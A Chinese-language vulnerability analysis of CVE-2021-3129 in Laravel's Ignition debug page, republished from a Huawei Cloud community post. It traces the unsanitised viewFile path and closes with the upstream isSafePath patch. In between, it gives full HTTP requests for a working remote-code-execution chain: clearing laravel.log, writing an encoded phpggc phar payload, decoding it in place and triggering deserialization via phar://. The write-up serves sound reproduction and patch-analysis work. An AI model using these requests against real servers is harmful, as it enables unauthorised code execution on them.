摘要:本文主要為大家帶來CVE-2021-3129漏洞復現分析,為大家在日常工作中提供幫助。
本文分享自華為雲社群《CVE-2021-3129 分析》,作者:Xuuuu 。
CVE-2021-3129
- Tag: [[php phar]] | [[php deserialize]]
Env搭建
VulEnv/laravel/cve_2021_3129 at master · XuCcc/VulEnv
Source 分析
根據描述,本質上是由於 facade/ignition 引入的問題,直接檢視 ignition 的 commit 記錄[^1] 看到 \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution 新增了一個安全過濾函式 isSafePath
// \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional public function makeOptional(array $parameters = []) { $originalContents = file_get_contents($parameters['viewFile']); $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents); $originalTokens = token_get_all(Blade::compileString($originalContents)); $newTokens = token_get_all(Blade::compileString($newContents)); $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']); if ($expectedTokens !== $newTokens) { return false; } return $newContents; }
發現危險函式 file_get_contents ,跟蹤函式呼叫棧
- \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
- \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::run
- \Facade\Ignition\Http\Controllers\ExecuteSolutionController::__invoke
- \Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes
引數 $parameters['viewFile'] 無過濾,通過 execute-solution 路由可以進行觸發,結合官方文件[^2] 可知,在執行 solution 操作時將走到 source 處。
Poc 編寫
啟動環境後,就出現了一個 igition 的錯誤修復介面,點選 Generate app key 抓包
POST /_ignition/execute-solution HTTP/1.1 Host: localhost:8000 Content-Length: 82 Accept: application/json Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Origin: http://localhost:8000 Referer: http://localhost:8000/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close {"solution":"Facade\\Ignition\\Solutions\\GenerateAppKeySolution","parameters":[]}
然後修改引數 solution 修改為 MakeViewVariableOptionalSolution 指定 solution
POST /_ignition/execute-solution HTTP/1.1 Host: localhost:8000 Content-Length: 163 Accept: application/json Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Origin: http://localhost:8000 Referer: http://localhost:8000/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "asdfasdf" } } HTTP/1.1 500 Internal Server Error Host: localhost:8000 Date: Tue, 15 Mar 2022 08:00:15 GMT Connection: close X-Powered-By: PHP/7.3.21 Cache-Control: no-cache, private Date: Tue, 15 Mar 2022 08:00:15 GMT Content-Type: application/json { "message": "file_get_contents(asdfasdf): failed to open stream: No such file or directory", ... }
500 則代表存在漏洞。
EXP 編寫
當存在上傳點時,直接上傳 phar 檔案進行反序列化即可,直接快進到第四步觸發反序列化
利用思路
無上傳點可利用時,我們可以操控 ../storage/logs/laravel.log 日誌檔案,配合 php://filter的特性來構建 phar 檔案,執行反序列化。
1、清空日誌檔案
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log" } }
2、寫入合法 phar 檔案
[2022-03-08 09:09:26] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75) [stacktrace] #0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array) #1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('AA') ........ #41 {main} "}
其中傳入的 payload 出現位置
... [padding] file_get_contents($payload) [padding] file_get_contents($payload) ... [padding] file_get_contents('$payload[:15]') # 部分payload
由於 [[php phar#檔案結構]] 特性,檔案前後允許髒資料存在,所以思路為構造phar檔案,將phar檔案經過編碼後寫入log檔案,再通過 php://filter 特性還原phar檔案,最後通過 phar://觸發
編碼特性
- base64解碼
- 不符合 base64 標準的字元將被忽略 然後繼續解碼
- utf16 -> utf8
- utf16 用兩位元組表示一個字元, 需要雙位元組對齊
- quoted-printable 郵件編碼
- 將 \0 編碼為 =00
<?php $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.base64-encode'); stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le'); stream_filter_append($fp, 'convert.quoted-printable-encode'); fwrite($fp, "POCCCCCCCCCCCCC"); fclose($fp); // U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00 $fp = fopen('php://output', 'w'); stream_filter_append($fp, 'convert.quoted-printable-decode'); stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8'); //stream_filter_append($fp, 'convert.base64-decode'); fwrite($fp, "AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA"); fclose($fp); // 䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁 $fp = fopen('php://output', 'w'); //stream_filter_append($fp, 'convert.quoted-printable-decode'); //stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8'); stream_filter_append($fp, 'convert.base64-decode'); fwrite($fp, "䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁"); fclose($fp); // POCCCCCCCCCCCCC ?>
傳送
// Step 1 "U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00" // Step 2 "php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
解碼報錯 file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence 觀察日誌檔案
[2022-03-10 07:02:55] local.ERROR: file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75) [stacktrace] #0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array) #1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('U=00E=009=00D=0...')
斷定由於 U=00E=009=00D=0... 處被截斷導致 quoted-printable 解碼報錯,第三處位置只顯示前15個字元,所以可以通過 'A' * 15進行填充,傳送
AAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解碼後得到 POCCCCCCCCCCCCCPOCCCCCCCCCCCCC 出現了兩次 payload ,初步符合我們的要求,能夠自由控制 storage.log 內容。
那出現兩次的 payload 如何解決呢?如果出現兩次 payload 或者出現部分殘留的base64編碼允許的字元將影響後續的base64解碼。 可以通過在前後通過加填充字元的方式來調整 payload 的第一個字元下標為奇數 or 偶數,從而影響 utf16->utf8 的解碼,來使得最終只出現一次 payload
例如傳送 'A' * 16
AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解碼後成功得到 POCCCCCCCCCCCCC
phar 生成
利用 phpgcc [^3] 生成 phar 檔案
> php -d 'phar.readonly=0' ./phpggc Laravel/RCE5 "phpinfo();" -p phar -o poc.phar > php -r "echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote d-printable-encode/resource=poc.phar');" P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00... N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00
完整利用
1、清空日誌
POST /_ignition/execute-solution HTTP/1.1 Host: localhost:8000 Content-Length: 196 Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Origin: http://localhost:8000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log" } }
2、傳送 phar 檔案
POST /_ignition/execute-solution HTTP/1.1 Host: localhost:8000 Content-Length: 3222 Accept: application/json Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Origin: http://localhost:8000 Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00" } }
3、還原 phar 檔案
此步驟可通過以下程式碼驗證 phar 檔案還原是否成功,或者通過http 200狀態碼判斷
$fix = file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"); var_export($fix); POST /_ignition/execute-solution HTTP/1.1 Host: localhost:8000 Content-Length: 271 Accept: application/json Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Origin: http://localhost:8000 Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }
4、觸發反序列化
POST /_ignition/execute-solution HTTP/1.1 Host: localhost:8000 Content-Length: 167 Accept: application/json Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Origin: http://localhost:8000 Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "sxv", "viewFile": "phar://../storage/logs/laravel.log" } }
Patch 修復
\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::isSafePath 函式對$parameters['viewFile'] 進行了過濾,防止偽協議等。
protected function isSafePath(string $path): bool { if (! Str::startsWith($path, ['/', './'])) { return false; } if (! Str::endsWith($path, '.blade.php')) { return false; } return true; }
Reference
- Laravel8 CVE-2021-3129 復現分析 - TARI TARI
- Laravel Debug mode RCE(CVE-2021-3129)復現 - inHann的部落格 | inHann’s Blog
- Laravel Debug mode RCE(CVE-2021-3129)分析復現 - 先知社群
Footnote
[^1]: Comparing 2.5.1…2.5.2 · facade/ignition
[^2]: Security - Flare Docs
[^3]: ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
文末福利:華為雲漏洞掃描服務VSS 基礎版限時免費體驗>>>